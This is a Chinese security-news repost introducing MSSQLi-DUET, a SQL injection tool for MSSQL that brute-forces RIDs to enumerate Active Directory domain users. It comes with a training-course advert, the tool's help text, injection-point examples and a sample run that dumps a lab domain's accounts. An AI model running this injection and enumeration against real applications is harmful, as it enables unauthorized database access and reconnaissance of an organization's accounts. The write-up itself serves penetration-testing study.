MSSQLi-DUET:一款针对MSSQL的SQL注入工具
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
MSSQLi-DUET
MSSQLi-DUET是一款针对MSSQL数据库的SQL注入脚本,它能够利用RID爆破技术来从一个活动目录环境中提取出域用户信息。该工具支持各种Web应用防火墙绕过技术,并且实现了SQLMap Temper功能。除此之外,广大研究人员还可以根据自己的需求以及目标环境来单独使用其中的Temper功能。
该工具有两种使用方式,一种是直接以Python脚本的方式在命令行终端中使用,另一种就是以Burp Suite插件的形式使用,这种方法可以使用简单的GUI导航。
当前版本的MSSQLi-DUET仅支持基于Union的注入方式,之后我们会进行大量测试来保证其他注入技术的稳定性和准确性。
工具下载
广大研究人员可以使用下列命令将MSSQLi-DUET项目源码克隆至本地:
git clone https://github.com/Keramas/mssqli-duet.git
工具使用
Burp Suite插件使用
在将插件上传至Burp Suite中之后,右键点击一个请求,然后选择将其发送给MSSQLi-DUET。随后,更多的相关参数和详细信息都将显示给用户
请求将会填充请求窗口,点击运行输出之后,我们就可以直接查看到输出结果了:
Python脚本使用
脚本帮助信息:
python3 mssqli-duet.py -h usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY] [-o OUTFILE] -r REQUEST_FILE MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool optional arguments: -h, --help show this help message and exit -i INJECTION, --injection INJECTION Injection point. Provide only the data needed to escape the query. -e ENCODING, --encoding ENCODING Type of encoding: unicode, doubleencode, unmagicquotes -t TIME_DELAY, --time_delay TIME_DELAY Time delay for requests. -rid RID_RANGE, --rid_range RID_RANGE Hypenated range of RIDs to bruteforce. Ex: 1000-1200 -ssl SSL, --ssl SSL Add flag for HTTPS -p PARAMETER, --parameter PARAMETER Vulnerable parameter -proxy PROXY, --proxy PROXY Proxy connection string. Ex: 127.0.0.1:8080 -o OUTFILE, --outfile OUTFILE Outfile for username enumeration results. -r REQUEST_FILE, --request_file REQUEST_FILE Raw request file saved from Burp Prepare to be enumerated!
如何使用?
当你在一个目标应用程序中成功识别出了一个基于Uion注入的注入点,你就可以直接使用Burp Suite的“copy to file”功能来获取到请求元数据了。
使用-r选项将存储的请求信息发送给MSSQLi-DUET,并指定漏洞参数和注入点信息。比如说,如果漏洞参数为“element”,注入类型为SQL注入,那么-p参数值就是“element”,MSSQLi-DUET将会自动构建SQL注入查询。演示样例如下:
Ex: test' test')) test")"
工具使用样例
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080 [+] Collected request data: Target URL = http://192.168.11.22/search2.php?element=carbon Method = GET Content-Type = applcation/x-www-form-urlencoded [+] Determining the number of columns in the table... [!] Number of columns is 3 [+] Determining column type... [!] Column type is null [+] Discovering domain name... [+] Domain = NEUTRINO [+] Discovering domain SID... S-1-5-21-4142252318-1896537706-4233180933- [+] Enumerating Active Directory via SIDs... NEUTRINO\HYDROGENDC01$ NEUTRINO\DnsAdmins NEUTRINO\DnsUpdateProxy NEUTRINO\HELIUM$ NEUTRINO\BORON$ NEUTRINO\BERYLLIUM$ NEUTRINO\aeinstein NEUTRINO\bbobberson NEUTRINO\csagan NEUTRINO\ccheese NEUTRINO\svc_web NEUTRINO\svc_sql
注意事项
在我们的使用过程中,可能需要研究人员根据目标数据库的列类型以及其他限制来对脚本代码进行自定义修改。
项目地址
MSSQLi-DUET:【GitHub传送门】
本文来自本文作者:Alpha_h4ck, 转载自FreeBuf.COM,经授权后发布,本文观点不代表立场,转载请联系原作者。